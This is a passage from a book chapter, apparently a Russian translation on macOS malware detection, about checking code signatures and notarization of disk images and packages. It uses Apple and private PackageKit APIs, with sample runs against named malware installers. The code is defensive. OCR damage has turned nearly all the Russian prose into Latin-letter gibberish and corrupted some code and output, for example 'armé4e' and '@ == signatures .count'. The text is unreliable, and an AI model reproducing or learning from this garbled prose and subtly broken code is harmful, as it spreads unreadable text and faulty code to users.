[OMmKeH cooTBeTCTBOBaAThL. B nuctuHre 3-7 mbl co3gaem requirement co ctpokon "notarized".

static SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(CFSTR("notarized"), kSecCSDefaultFlags, &requirement);
Jlnctunr 3-7: Mnmumanusaumsa ctpokn requirement reference

API reHepupyeT 06BbEKT, KOMNUNUPYSA NepeaaHHy emy CTpoky code requirement, 4To Nno3eonseT
ncnonb3oBaTh requirement MHOroKpaTHO. ('3 Ecrn BbI BHINONHSIETE 0 HOpPa30BYIO NPOBEPKY requirement,
MO>HO NPOMYCTUTb 3Tan KOMNUNSALUMM U BMECTO 3TOro ucnosns3sosaTb API
SecTaskValidateForRequirement, KOTOpPbIN NPMHUMAET CTPOKOBLIN requirement Ansi NPOBEPKU Kak
BTOPOW aprymeHT.

Tenepb MoxHO Bbi3BaTb API SecStaticCodeCheckValidity, nepenae emy o6bekT SecStaticCode, a
Takke requirement reference (nuctuHr 3-8).
if(errSecSuccess == SecStaticCodeCheckValidity(codeRef, kSecCSDefaultFlags, requirement)) {

// Code placed here will run only if the item is notarized.

}
Jlnctunr 3-8: MNpoeepka requirement HoTapuanusauum

Ecnun API BosBpaluaeT errSecSuccess, Mbl 3HaeM, YTO OOBLEKT COOTBETCTBYET NepeaaHHOMY
requirement. B Hawem criydae aTo o3Ha4vaeT, 4To disk image gencTBMTENbHO HOTapnanu3oBaH.
MogpobHee o requirements, BKMoyasi NonesHble CTPOKM requirements, MOXXHO NpoYnTaTh B

nHdpopmaTtmeHoM gokymeHTe Apple “Code Signing Requirement Language”. [14]

Ecnun npoBepka HOTapranuaauum 3aBepLuaeTcs Heygaden, cnegyet npoBeputb, He oToseana nu Apple
notarization ticket o6bekTa, gaxxe ecrnivm 06BHEKT KOPPEKTHO NoANMCaAH. OTOT HIOAHCUPOBAHHBIV Cry4Yan
npeacTaBnsieT OrpOMHbIN TPEBOXHbIV NPU3HaK; NpMMep CM. B 006CY>KAEHUN aTaku Ha LIenoYKy nocTaBokK
3CX B pasgene «[punoxeHus 1 ncnonHsaemsle annbl Ha AMcke» Ha cTpaHuue 93.

XoTsa g npocun o TakoM crnocobe, (151 Apple He opobpuna H¥1 ogHOro metoda onpegenenuns, obin nu
0TO3BaH notarization ticket o6bekta. OgHako ABa HeokyMeHTMpoBaHHbIX API, SecAssessmentCreate u
SecAssessmentTicketLookup, MOryT npegocTtaBuTb 3Ty UHopmauuo. B nuctuHre 3-9 Mol Bbl3biBaeM
SecAssessmentCreate, 4Tobbl NPOBEPUTL, HE Obin N 0TO3BaH notarization ticket o6bekTa, KoTOPLIN
npoLlen gpyrue npoBepky Nognvcuy Koaa.
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SecAssessmentRef secAssessment = SecAssessmentCreate(itemURL,
kSecAssessmentDefaultFlags, (__bridge CFDictionaryRef)(@{}), &error);

if(NULL == secAssessment) {

if( (CSSMERR_TP_CERT_REVOKED == CFErrorGetCode(error)) ||
(errSecCSRevokedNotarization == CFErrorGetCode(error)) ) {

signingInfo[KEY_SIGNING_NOTARIZED] =
[NSNumber numberWithInteger:errSecCSRevokedNotarization];

}

if(NULL != secAssessment) {
CFRelease(secAssessment);

}
Jlnctnr 3-9: Mpoeepka, O6bIn NK 0To3BaH notarization ticket

Mbl nepegaem cyHKumm nyTb K 06bekTy, Hanpumep disk image; default assessment flags; nycton, Ho He
NULL cnoBapb; 1 BbIXO4HOW yKa3aTerb Ha NePEMEHHYI0 OLLNGKN.

Ecnu Apple otossana nubo notarization ticket, nu6o certificate, dpyHkunsa ycraHoBUT owInMBKY B
CSSMERR_TP_CERT_REVOKED mnu errSecCSRevokedNotarization. Vims nepBoii owunbkn HEMHOIo
HI0@HCKMPOBaHO, MOCKOSbKY OHO MOXET BO3BpaLlaTbCsa Ans 0ObEeKTOB € AencTBUTenbHbiMU certificates, HO
oTo3BaHHbIMK notarization tickets, 4To 3gecb Hac 1 uHTepecyer.

Ecnn mbl nonyyaem NULL assessment 1 OAMH M3 9TUX KO4OB OLLIMOOK, Mbl 3HAEM, YTO YTO-TO ObINO
0TO3BaHO. bornee Toro, MOCKONbLKY Mbl ke npoBepunu certificates nognncu koga, Mbl 3HaeMm, 4YTO OT3bIB
OoTHocuTCA K notarization ticket. 3aBepumB paboTy ¢ assessment, mbl 06513aTeNBLHO 0CBOGOXAAEM €ro,
€Cnun OoH He NULL.

3anyck MHCTPyMEeHTa

CkoMnunupyem npoekT checkSignature u 3anyctum ero ans disk images, ynomsiHyTbiX paHee B 3TOM
pasgene:

% ./checkSignature LulLu_2.6.0.dmg

Checking: Lulu_2.6.0.dmg

Status: signed

Is notarized: no

Signing auths: (

"<cert(0x11100a800) s: Developer ID Application: Objective-See, LLC (VBG97UB4TA)
i: Developer ID Certification Authority>",

"<cert(0x111808200) s: Developer ID Certification Authority i: Apple Root CA>",
"<cert(0x111808a00) s: Apple Root CA i: Apple Root CA>"

)

Kak n oxxunganocs, kog cooblaert, yto disk image LuLu nognmcaH, xoTst u He HoTapuanu3oBaH. Koa Takke
n3BnekaeT uenouyky code signing authorities, Bkrtoyarowyto ero developer ID application 1 developer ID
certification authority. MNpn oBHapyxeHUn BpegoHOCHbLIX NporpamMm Bbl MOXeTe urHopuposatb disk images,
noanucaHHble foBepeHHbIMK developer IDs, ecnm ToNbKO Bac He UHTepecyeT 0BHapyxeHne aTak Ha
LenoYKy NOCTaBOK.
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Tenepb 3anycTum kog Ans BpegoHocHow nporpammel EvilQuest. Kak Bbl yBuauTe, Kog coBnagaeT ¢
pesynbTatamu yTunutel Apple codesign, ykasbiBas, 4yto disk image HenoanucaH:

% ./checkSignature "EvilQuest/Mixed In Key 8.dmg"
Checking: Mixed In Key 8.dmg
Status: unsigned

HakoHeu, 3anycTum Kog ans BpeaoHocHou nporpammbl CreativeUpdate, code signing certificate koTopon
ObINT 0TO3BaH:

% ./checkSignature "CreativeUpdate/Firefox 58.0.2.dmg"
Checking: Firefox 58.0.2.dmg
Status: revoked

Tenepb, Koraa mMbl MOXEM NPOrpaMMHO U3BMEKaTb U NPOBEPATL CBeAEHMSA O noanucy koga n3 disk
images, caenaem To e camoe Ans packages, KOTopble, K COXaneHuto, TpebyoT COBEPLLUEHHO APYroro
noaxona.

Packages

Bbl MOXeTe Bpy4Hyto NnpoBepuTb nognuck package (. pkg) ¢ nomoLblo BCTpOeHHOM yTunutbl pkgutil.
BbInonHuTe ee ¢ napaMmeTpom KOMaHAHOW CTPOKM - -check-signature, a 3aTemM nytem k dhanny . pkg,
KOTOpPbIV XOTUTE NPOBEPUTL. YTUNUTa JOMKHA 0TOOpa3nTb pesynbTaT NPOBEPKM B CTPOKE C NpedrKCoM
Status:

% pkgutil --check-signature GoogleChrome.pkg

Package "GoogleChrome.pkg":

Status: signed by a developer certificate issued by Apple for distribution
Notarization: trusted by the Apple notary service

Signed with a trusted timestamp on: ©5-15 20:46:50 +0000
Certificate Chain:

1. Developer ID Installer: Google LLC (EQHXZ8M8AV)

Expires: 2027-02-01 22:12:15 +0000

SHA256 Fingerprint:

40 02 6A 12 12 38 F4 EO 3F 7B CE 86 FA 5A 22 2B DA 7A 3A 20 70 FF
28 oD 86 AA 4E 02 56 C5 B2 B4

2. Developer ID Certification Authority

Expires: 2027-02-01 22:12:15 +0000

SHA256 Fingerprint:

7A FC 9D 01 A6 2F ©3 A2 DE 96 37 93 6D 4A FE 68 09 oD 2D E1 8D 03
F2 9C 88 CF Bo B1 BA 63 58 7F

3. Apple Root CA

Expires: 2035-02-09 21:40:36 +0000

SHA256 Fingerprint:

BO B1 73 OE CB C7 FF 45 05 14 2C 49 F1 29 5E 6E DA 6B CA ED 7E 2C
68 C5 BE 91 B5 Al 10 01 Fo 24

PesynbTaTthl NnokasbiBatoT, 4To pkgutil npoBepun package - installer Google Chrome - n yctaHoBwun, 4to
OH mognucaH n HotapuanusoaH. MIHCTpyMeHT Takke oTobpa3snn uenodky certificate authority,
yKasblBawLLyto, 4To package 6bin nognucaH yepes Apple Developer ID, npuHagnexawmin Google.
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O6paTnTe BHMMaHWe, YTO HEMNb3s UCMONb30BaThb YTUNMTY codesign anga npoeepku code signature
packages, nockonbKy ¢annel . pkg MCNOMNb3YOT APYron MexaHn3M XpaHeHuUsi CBe4eHU 0 NOANUCY Koaa,
KOTOpbIN codesign He noHMmaeT. Hanpumep, npu 3anycke Ang Toro e package oHa He obHapyxusaeT
noanucu:

% codesign --verify -dvv GoogleChrome.pkg
GoogleChrome.pkg: code object is not signed at all

Ecnun package He nognucaH, pkgutil otobpasnT coobueHune Status: no signature. BonbWKMHCTBO
BPELOHOCHLIX Mporpamm, pacnpocTpaHsiemblx Yepe3 packages, Bkntodas EvilQuest, nonagaet B aty
kateroputo. 3Tn disk images cogepxaT Bpe4OHOCHbLIV package, u nocne moHTuposaHus disk image
MOXHO ucrnornb3oBaTb pkgutil, yTobbl MOKa3aTh, YTO STOT package HenognucaH:

% pkgutil --check-signature "EvilQuest/Mixed In Key 8.pkg"
Package "Mixed In Key 8.pkg":
Status: no signature

HakoHel, ecnu package 6bin nognucaH, Ho Apple oto3Bana ero code signing certificate, pkgutil
oTobpasut Status: revoked signature, HO BCe paBHO MOKaXeT Leno4dky ceptudukartos. [Npumep
TaKoro NoBeAeHNs Mbl HAX0AUM B package, UCNONb30BaHHOM Afsi PacnpoCTpaHeHWs BpeAOHOCHOM
nporpammbl KeySteal:

% pkgutil --check-signature KeySteal/archive.pkg

Package "archive.pkg":

Status: revoked signature

Signed with a trusted timestamp on: 10-18 12:58:45 +0000
Certificate Chain:

1. Developer ID Installer: fenghua he (32W7BZNTSV)

Expires: 2027-02-01 22:12:15 +0000

SHA256 Fingerprint:

EC 7C 85 1D BO A@ 8C ED 45 31 6B 8E 9D 7D 34 OF 45 B8 4E CE 9D 9C
97 DB 2F 63 57 C2 D9 71 OC 4E

2. Developer ID Certification Authority

Expires: 2027-02-01 22:12:15 +0000

SHA256 Fingerprint:

7A FC 9D 01 A6 2F 03 A2 DE 96 37 93 6D 4A FE 68 09 oD 2D E1 8D 03
F2 9C 88 CF Bo B1 BA 63 58 7F

3. Apple Root CA

Expires: 2035-02-09 21:40:36 +0000

SHA256 Fingerprint:

BO B1 73 OE CB C7 FF 45 05 14 2C 49 F1 29 5E 6E DA 6B CA ED 7E 2C
68 C5 BE 91 B5 Al 10 01 Fo 24

Apple oto3sana nognuce. Kpome Toro, oto3BaHHbIn code signing identifier, fenghua he (32W7BZNTSV),
MOXET NMOMOYb HaNTU apyrue BpeaoHOCHbIe nporpaMmbl, nognncaHHble TeEM Xe aBTOpOM BpeOHOCHOro
Mno.

O6paTHas pa3paboTtka pkgutil
Tenepb y Bac MOXeT BO3HUKHYTb BOMPOC, Kak MPorpaMMHO NpoBepsTb nognucu packages. 310 XOpoLUmn

BOMPOC, MNOCKOSbKY B HacTosiee Bpems nybnmyHbix APl ans npoeepku package HeT! Cnacunbo,
KynepTuHo.

81



K cuacTbto, KOpOTKMIA ceaHc obpaTHoM pa3paboTkn aBomdHOro danna pkgutil TOYHO Noka3bIBaET, Kak OH
npoeepsieT noanuce packages. [Ana Hayana Mbl BUAUM, 4TO pkgutil cnMHKOBaH C 3aKpbITbiM
dperimBopkom PackageKit:

% otool -L /usr/sbin/pkgutil
/usr/sbin/pkgutil:

/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit

HasBaHue aToro openMBOpKa NoACKa3bIBaET, YTO OH, BEPOATHO, COOEPXUT cooTBeTCTBYOWME API.
TpaanunoHHO HaxoauBLUMINCA B KaTanore /System/Library/PrivateFrameworks/, B HegaBHUX
Bepcusaix macOS aToT dpenmBopk xumBeT B shared dyld cache - npegsapuTensHO CIMHKOBaHHOM 0OLLEM
havine, cogepxallem 4acto ucrnonb3dyemble GubnnoTeku. (61 Ero vmsi n pacnonoxeHne 3aBUCAT OT
Bepcun macOS 1 apxXUTeKTypbl CUCTEMBI, HO MOTYT BbIrMSA4eTh NPUMEPHO Kak
dyld_shared_cache_armé64e n /System/Volumes/Preboot/Cryptexes/0S/System/Library/dyld/
COOTBETCTBEHHO.

Mbl gomkHbl u3sneds ppenmeopk PackageKit ua dyld cache, npexae 4em cmMoXeM BbINONHUTL ero
obpaTHyto pa3paboTky. MHCTpyMeHT Bpoge Hopper, nokasaHHbIN Ha puc. 3-2, MOXET M3BNeKaTb
dpermBOpKM N3 cache.

Loader: DYLD Shared Cache

Options

DYLD Shared Cache options

File: Q PackageKit o
PackageKit (in /System/Library/PrivateFrameworks/Pac.

PucyHok 3-2: N3eneueHue pperimBopka PackageKit ns dyld cache

82



Ecnu Bbl NpegnoyntaeTe NCNonb30BaTb MHCTPYMEHT KOMAHAHOW CTPOKU ANSA U3BrneyeHms 6nbnmorTek,
XxopoLuunn BapuaHT - dyld-shared-cache-extractor. (7 Nocre YCTaHOBKW 3TOr0 MHCTPYMEHTa MOXHO
BbINONHUTL ero ¢ nytem K dyld cache 1 BbIXogHbIM KaTanorom, KOTOpbIN 34eCb Mbl 3a0aeM Kak
/tmp/libraries:

% dyld-shared-cache-extractor /System/Volumes/Preboot/Cryptexes/0S/System/
Library/dyld/dyld_shared_cache_armé4e /tmp/libraries

Mocne Toro kak MHCTPYMEHT n3BneyeT Bce bnbnunotekn na cache, Bbl Hangete dpperimBopk PackageKit no
nytu /tmp/libraries/System/Library/PrivateFrameworks/PackageKit.framework.

Tenepb MOXHO 3arpy3nTb (OperMBOPK B Ansaccembnep, YTobbl nony4nTb npeacTasnenne o ero APl n
BHYTPEHHEM yCTponcTee. Hanpumep, Mbl HaXoaum Knacc ¢ umeHem PKArchive, cogepxalumi nonesHole
MeToAbl, Takue kak archiveWithPath: v verifyReturningError:, cpegm npodnx:

@interface PKArchive : NSObject

+(id)archivewWithPath: (id)argl;

+(id)_allArchiveClasses;

-(BOOL)closeArchive;

-(BOOL)fileExistsAtPath:(id)argl;

-(BOOL)verifyReturningError: (id*)argl;

@end
£ He Byay NOMNHOCTBIO paccmaTpmBaTb NOAPOOHOCTM 0bBpaTHOM paspaboTku hperimopka PackageKit
34ecb, Ho nogpobHee 006 3TOM NpoLiecce MOXHO Y3HaTb B MHTEPHETE. 8] Tai0ke Bech Mot NCXOOHbIN Ko
npoBepkn packages MOXHO HanTu B channax Package . h/Package.m moen ytunutel What's Your Sign. (19

HdocTyn K byHKUMAM chpenmBOpKa

YUTto6bl ncnonb3oBaTh METOALI, OGHApPY>XEeHHbIE B HalleM npoekte checkSignature, Ham noHagobutcs
3aronioBOYHbIV havin, CoAepKaLlMin onpeaeneHms 3akpbiThbiX KraccoB U3 penmsopka PackageKit. 3to
MO3BOJMT BbI3blBaTb UX HAMPsIMYIO U3 HaLlero koga. B npowunom nHCTpyMeHTsl Bpoae class-dump mornu
nerko co3gaBaTb Takve 3aroroBOYHbIE hannbl, 29 ho srOT NMOAXOA He MOSTHOCTbIO COBMECTMM ¢ bornee
HOBbIMW ABOMYHbIMK harinamu Apple Silicon. BMeCTo 3TOro MOXHO BPy4YHYHO U3BMeYb 3TU onpeaeneHus
Knaccos u3 gmusaccembriepa nnu ¢ nomolubto otool. JinctuHr 3-10 nokasbiBaeT M3BMNEYEHHLIE
onpegeneHus.

@interface PKArchive : NSObject
+(id)archiveWithPath: (id)argl;
+(id)_allArchiveClasses;
-(BOOL)closeArchive;
-(BOOL)fileExistsAtPath:(id)argl;
-(BOOL)verifyReturningError: (id*)argl;

@property(readonly) NSString* archiveDigest;
@property(readonly) NSString* archivePath;
@property(readonly) NSDate* archiveSignatureDate;
@property(readonly) NSArray* archiveSignatures;

@end
@interface PKArchiveSignature : NSObject
{

struct _ SecTrust* _verifyTrustRef;
¥

-(struct __SecTrust*)verificationTrustRef;
-(BOOL)verifySignedDataReturningError: (id *)argl;
-(BOOL)verifySignedData;
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@property(readonly) NSString* algorithmType;
@property(readonly) NSArray* certificateRefs;
@end

Jlnctunrr 3-10: MisBneyeHHble onpegeneHuns Knaccos 1 metogos dperimBopka PackageKit

Tenepb MOXHO HanMcaTb KOA, UCNOMNb3YIOLLNIA 3TN KNAacChl U Bbi3bIBAKOLLNA UX METOAbI ANS NPpOrpaMMHONn
npoBepkn packages no Hawemy Bbibopy. Mbl coenaem 3To B oyHKUMK, KOTOpYHo Ha3oBeM checkPackage.
B kayecTBe eAMHCTBEHHOrO aprymeHTa oHa NpvHUMAaEeT NyTb K NpoBepsieMoMy package u Bo3BpallaeT
CnoBapb, coaepallni pesynbTaTbl MPOBEPKU, a TakkKe Apyrne cBeaeHust 0 Nognmncu Koga, Takue Kak
code signing authorities package. PyHkumMa HauyMHaeT ¢ 3arpy3ku Heobxoammoro dpenmeopka PackageKit
(nuetuHr 3-11).

#tdefine PACKAGE_KIT @"/System/Library/PrivateFrameworks/PackageKit.framework"
NSMutableDictionary* checkPackage(NSString* package) {

NSBundle* packageKit = [NSBundle bundleWithPath:PACKAGE_KIT];
[packageKit load];

}
Jinctnur 3-11: 3arpyska penmsopka PackageKit

CHavana mbl onpegenseM nyTb k ppenmsopky PackageKit. 3atem 3arpyxxaem ppenmBopk meTogamm
bundleWithPath: n load knacca NSBundle, 4TOOblI MOXXHO ObISIO AMHAMUYECKN pa3peLlaTth U Bbi3biBaTb
MeToabl hpenmBopka.

Bnarogaps MHTpocnekTMBHOM Npupoae A3blka nporpammupoBaHus Objective-C nerko ucnons3osaTb
3aKpbITble KNacchl U Bbi3blBaTb 3aKpbITble METOAbI. YTOObI MONY4YMTb AOCTYN K 3aKPbITOMY Knaccy,
ncrnonb3ynte yHKUMO NSClassFromString. Hanpumep, nucTuHr 3-12 nokasbiBaeT, Kak AUHaMUYeCKu
nony4uTb 0O6bEKT knacca ans knacca PKArchive.

Class PKArchiveCls = NSClassFromString(@"PKArchive");
Nuctnhr 3-12: NonyyeHne ob6bekTa knacca PKArchive

ObpaTtHas paspaboTka pkgutil nokasana, 4To OH co3gaeT ak3emnnsp obbekTa archive (PKXARArchive)
¢ nomoLbo MeToga archiveWithPath: knacca PKArchive, nepegaBas nytb package, KOTOPbINA HY>KHO
nposepuTb. B nuctunHre 3-13 Haw ko4 AenaeT To Xe caMoe.

PKXARArchive* archive = [PKArchiveCls archiveWithPath:package];
Jlnctnrr 3-13: CospgaHue ak3emnnspa odbekra archive

Mpn paboTe ¢ 3aKpbITbIMK KAccamu, TakMMK Kak krnacc PKArchive, pasyMHoO Bbi3blBaTb MeTO4
respondsToSelector: nepea BbI30BOM ero metoaoB. Metog respondsToSelector: BepHeT
Boolean-3Ha4eHue, coobLiatoLee, MOXHO N 6e3onacHoO Bbi3BaTb METOA Yy Kracca Unu ak3emnnspa
knacca. " Ecrn MPOMyCTUTb 3TOT Lar, a 0GbEKT He OTBeYaeT Ha MeTof, NporpaMma aBapunHO
3aBepLUMTCH C UCKIoYeHeM unrecognized selector sent to class.

CnepnytoLwmn kog nposepsieT, peanuayeT nu knacc PKArchive metog archiveWithPath: (nuctuHr 3-14).

if(YES != [PKArchiveCls respondsToSelector:@selector(archiveWithPath:)]) {
goto bail;
¥
Jluctunr 3-14: Mposepka Hanuuma metoaa

Tenepb Mbl FOTOBbI BbINOMHUTL Ga3oBylo NpoBepky package.
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NpoBepka package

CHoBa nmutupyem pkgutil, ncnonbsyst metog verifyReturningError: knacca PKXARArchive
(nucTuHr 3-15).

NSError* error = nil;

if(YES != [archive verifyReturningError:&error]) {

goto bail;
¥

JlnctnHr 3-15; BeinonHeHnne 6a3oBon npoBepkn package

Mocne Toro kak package npowwen 6a3oBblie NPOBEPKN BEpUPUKALUK, Mbl MOXKEM NMPOBEPUTL €0 NOAMNUChH,
KOTOpYI0 Hangem B NnepeMeHHom ak3emnnspa archiveSignatures obbekrta archive. 3Ta nepemeHHasi
npeactaenseT cobor Maccus, cogepxaluni ykasatenu Ha obbekTol PKArchiveSignature. Y
nognuncaHHoro package 6ygeT kKak MMHMMYM ogHa noanuck (MUCTUHT 3-16).

NSArray* signatures = archive.archiveSignatures;

if(@ == signatures .count) {

goto bail;
¥

PKArchiveSignature* signature = signatures.firstObject;

if(YES != [signature verifySignedDataReturningError:&error]) {
goto bail;

}

JluctnHr 3-16: MNpoeepka leaf-noanucn package

Y6eauBLince, 4To y package ecTb Kak MUHUMYM O4Ha NoAMNMCh, Mbl NPOBEPSIEM NEPBYHO, UMK
leaf-nognuce, ¢ nomowko meToaa verifySignedDataReturningError: knacca PKArchiveSignature.
Kpome Toro, mbl oueHmBaem trust aton nognucu (nuctmHr 3-17).

Class PKTrustCls = NSClassFromString(@"PKTrust");

struct __ SecTrust* trustRef = [signature verificationTrustRef];
PKTrust* pkTrust = [[PKTrustCls alloc] initWithSecTrust:trustRef
usingAppleRoot:YES signatureDate:archive.archiveSignatureDate];

if(YES != [pkTrust evaluateTrustReturningError:&error]) {
goto bail;
}

JluctuHr 3-17: OueHka trust nognucm

Mbl cosgaem ak3emnnsap oobekTa PKTrust ¢ nognuckio, a 3aTeM Bbi3biBaeM METOS
evaluateTrustReturningError: knacca PKTrust. Ecnu verificationTrustRef Bo3Bpawaet nil, Mbl
MOXeM MpoBepuTb package yepes certificates, ucnonb3ysa metoq
initWithCertificates:usingAppleRoot:signatureDate: knacca PKTrust. JononH1UTENbHLIE
nogpobHocTn cM. B koae npoekta checkSignature aton rnaebl. Ecnu npoeepkn noanucu u trust nognmucu
nNpoxogAaT ycnewHo, nepej Hamu KOpPeKTHO NoAnucaHHbIn package.

MoxHo Takke naeneyb certificates nognucu, 4To NO3BONUT BLINOSHATL TakMe OENCTBUS, Kak NpoBepka
UMeHu Kaxkgoro signing authority. MonyunTts goctyn K 3TuMm certificates MOXXHO Yepes nepeMeHHyo
ak3emnngapa certificateRefs obbekta PKArchiveSignature, koTopas SBNseTcs MaccMBOM OOBHLEKTOB
SecCertificateRef, a n3Bneyb cBeageHnsa o HuX - ¢ nomouwbio APl SecCertificate*.
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MpoBepka HoTapuanbHOro 3aBepeHusi package

£ 3aBepLuly 3TOT pasgern, nokasas, Kak onpegennutb, notarized nu Apple package. HanomHto, yto pkgutil
ncnonb3yeT 3akpbIThi pperimBopk PackageKit ans npoeepkn packages. OgHako obpaTHas paspaboTka
nokasarna, 4To nNpoBepkn package notarization peannsoBaHbl He B 3TOM hpeMBOPKE BMECTE C
OoCTanbHbIMW NPOBEPKaMM, a HENOCPEeACTBEHHO B BMHapHOM darine pkgutil.

YUTto6bl NnpoBepuTb cTaTtyc notarization package, pkgutil Bei3biBaeT AP| SecAssessmentTicketLookup.
XoTsa aTtoT AP| He JOKYMEHTUPOBaH, Mbl HAXOAMM ero o6bsBreHMe B 3aronioBo4HOM darine Apple
SecAssessment. h. Jluctuir 3-18 nmnutupyet nogxog pkgutil. Monyy4nB npoBepeHHbI 06bEKT
PKArchiveSignature us package, oH onpegenset, 6bin nu package notarized.

#import <CommonCrypto/CommonDigest.h>

typedef uint64_t SecAssessmentTicketFlags;

enum {
kSecAssessmentTicketFlagDefault = 0,
kSecAssessmentTicketFlagForceOnlineCheck = 1 << 0,
kSecAssessmentTicketFlaglLegacylListCheck = 1 << 1,

¥

Boolean SecAssessmentTicketLookup(CFDataRef hash, SecCSDigestAlgorithm
hashType, SecAssessmentTicketFlags flags, double* date, CFErrorRef* errors);

BOOL isPackageNotarized(PKArchiveSignature* signature) {
CFErrorRef error = NULL;
BOOL isItemNotarized = NO;
double notarizationDate = 0;
SecCSDigestAlgorithm hashType = kSecCodeSignatureHashSHA1;

NSData* hash = [signature signedDataReturningAlgorithm:0xe];
if(CC_SHA1_DIGEST_LENGTH == hash.length) {
hashType = kSecCodeSignatureHashSHA1;
} else if(CC_SHA256_DIGEST_LENGTH == hash.length) {
hashType = kSecCodeSignatureHashSHA256;
}

if(YES == SecAssessmentTicketLookup((__bridge CFDataRef)(hash), hashType,
kSecAssessmentTicketFlagDefault, &notarizationDate, &error)) {
isItemNotarized = YES;
} else if(YES == SecAssessmentTicketLookup((__bridge CFDataRef)(hash),
hashType, kSecAssessmentTicketFlagForceOnlineCheck, &notarizationDate,
&error)) {
isItemNotarized = YES;

}

return isItemNotarized;

}
Jinctuur 3-18: MNposepka package notarization

Mbl 00BbABNSAEM pasnnyHble NepeMeHHble, O0MbLUMHCTBO M3 KOTOPbIX NOHaao0baTcsa ans BbizoBa API
SecAssessmentTicketLookup. 3atem Bbi3biBaeM MeToa noanuck signedDataReturningAlgorithm:,
KOTOpbIN BO3BpaLlaeT 06bekT data, cogepxawun hash.

[anee mbl BbINONHAEM NepBbIv BbI30B SecAssessmentTicketLookup, nepegasast emy hash n tun hash,
KoTopbin 6yaet nmbo SHA-1, nnbo SHA-256, npeactaBneHHbIMM COOTBETCTBEHHO KOHCTaHTaMM
kSecCodeSignatureHashSHA1 u kSecCodeSignatureHashSHA256. Takke Mbl nepefaeM assessment
flags u out-ykazatenb, koTopbIn Nonyunt aaty notarization, ecnu package notarized. NMNocnegHun
aprymMeHT - HeobsA3aTenbHbIV out-ykazaTenb Ha MePeMEHHYHO OLLMOKN.
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UmnTtupys GuHapHbin dann pkgutil, mbl cHavana Bei3biBaeM API ¢ assessment flags, ycTaHOBNeHHbIMU
B kSecAssessmentTicketFlagDefault. Ecnu aToT BbI3OB HE CMOr onpeaenuTb, notarized nu package,
Mbl CHOBa BbI3biBaeM API, Ha aToT pas ¢ dnarom kSecAssessmentTicketFlagForceOnlineCheck. 3tun
Opyrue 3HayeHus ornaroB MOXHO HaWTK B 3arofloBOYHOM (parine SecAssessment. h.

Ecnun no6ow 13 BbizoBoB AP| Bo3BpalllaeT HeHyneBoe 3Ha4YeHne, package notarized, u notary service
Apple gosepsieT emy. OgHako, NOCKOMNbKY Mbl nMnTUpoBanu pkgutil, Haw ko He yTodHseT, Bbin Nn'y
non-notarized package oto3BaH notarization ticket. imes code signing hash anemeHTta n TMn hash, mbl
Mornm Obl peanv3oBaTh TaKylo NPOBEPKY CMNOCOOOM, MOKa3aHHbIM B NUCTUHre 3-19.

CFErrorRef error = NULL;
if(YES != SecAssessmentTicketLookup(hash, hashType,
kSecAssessmentTicketFlagForceOnlineCheck, NULL, &error)) {
if(EACCES == CFErrorGetCode(error)) {
// Code placed here will run if the item's notarization ticket has been revoked.
}
}

Jinctunr 3-19: MNpoeepka oTo3BaHHbIX notarization tickets

APl SecAssessmentTicketLookup ycTaHOBMT CBOKO NEPEMEHHYIO error B 3HaueHne EACCES, ecnu
notarization ticket anemeHTa 6bIn 0TO3BaH. (22]

3anyck MHCTpyMeHTa

3anyctum uHcTpymeHT checkSignature gns packages, ynomsiHyTbIX paHee B 9TOW rMaBe;

% ./checkSignature GoogleChrome.pkg

Checking: GoogleChrome.pkg

Status: signed

Notarized: yes

Signing authorities (

"<cert(0xllee@ac30) s: Developer ID Installer: Google LLC (EQHXZ8M8AV)

i: Developer ID Certification Authority>",

"<cert(0x11ee@8360) s: Developer ID Certification Authority i: Apple Root CA>",
"<cert(0x11ee07820) s: Apple Root CA i: Apple Root CA>"

)

% ./checkSignature "EvilQuest/Mixed In Key 8.pkg"
Checking: Mixed In Key 8.pkg
Status: unsigned

% ./checkSignature KeySteal/archive.pkg

Checking: archive.pkg

Status: certificate revoked

Signing authorities: (

"<cert(0x151406100) s: Developer ID Installer: fenghua he (32W7BZNTSV)

i: Developer ID Certification Authority>",

"<cert(0x151406380) s: Developer ID Certification Authority i: Apple Root CA>",
"<cert(0x1514082b0) s: Apple Root CA i: Apple Root CA>"

)

BbiBoa coBnagaet ¢ pesynbTatamu Apple pkgutil. Haw ko TouHO onpeaensieT nepBbin package kak
KOpPEKTHO nognucaHHbIv 1 notarized; BTopon, cogepxawmi malware EvilQuest, - kak unsigned; a
nocregHun, cogepxawmn malware KeySteal, - kak revoked.
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anIﬂO)KeHVIFl n UcnoJsiHsAemblie d)aﬁﬂbl Ha AUCKe

BonbwmnHctBo MacOS malware pacnpocTtpaHsieTcs B Buge applications nnm camoctoatensHbix Mach-O
binaries. Mbl moxxem n3eneyb code signing information n3 application bundle Ha ancke nnm ncnonHsiemoro
BuHapHoro canna Tem xe cnocobom, Yto 1 ana disk images: BpyyHyto, Yepes yTunuty codesign nnum
nporpaMmmHo, yepes Apple Code Signing Services APIs. OgHako B 3TOM Criy4yae eCTb HECKOMbKO BaXKHbIX
OTNINYUA.

INepBoe cBsaAzaHo ¢ APl SecStaticCodeCheckValidity, koTopki npoBepsieT nognuck anemeHTa. Korga
aneMeHT He asnseTca disk image, Mbl OMKHbI Bbi3biBaTb 3Ty (PYHKUMIO C hbnarom
kSecCSCheckAllArchitectures (nuctuHr 3-20).

SecCSFlags flags = kSecCSEnforceRevocationChecks;

if(NSOrderedSame != [item.pathExtension caseInsensitiveCompare:@"dmg"]) {
flags |= kSecCSCheckAllArchitectures;

}

status = SecStaticCodeCheckValidity(staticCode, flags, NULL);

Jlnctunr 3-20: Mposepka nognucy anemeHTa

OToT dpnar obpabaTbiBaeT multiarchitecture items, Takve kak universal binaries, koTopble MOryT BKMOYaTb
HecKornbko BCTpoeHHbIX Mach-O binaries, noTeHumnanbHo ¢ pasHbiMu code signers. PeanbHbii npumep, B
KOTOPOM aTakytoLue 3noynotpedunu universal binary ana o6xoga HegoctaTouHblx code signing checks,
cm. B CVE-2021-30773. 2% 3nauenne storo dnara Takke NpMHyAMTENBHO BKNtoYaeT revocation checks,
NOCKOJTIbKY COAEepXUT 3HayeHne kSecCSEnforceRevocationChecks.

PaHee B 3TOM rmaBse 4 nokasan, kak NpoBepuTb, COOTBETCTBYET NN yKa3aHHbLIN 31IEMEHT HEKOTOPOMY
requirement, Hanpumep notarization. Bbl MOXeTe 3axoTeTb NPOBEPUTL AOMOMHUTENbHBIE requirements,
Hanpumep nognucana nu anemMeHT cobcTeeHHo Apple (requirement anchor apple) nnu nognucanu nu
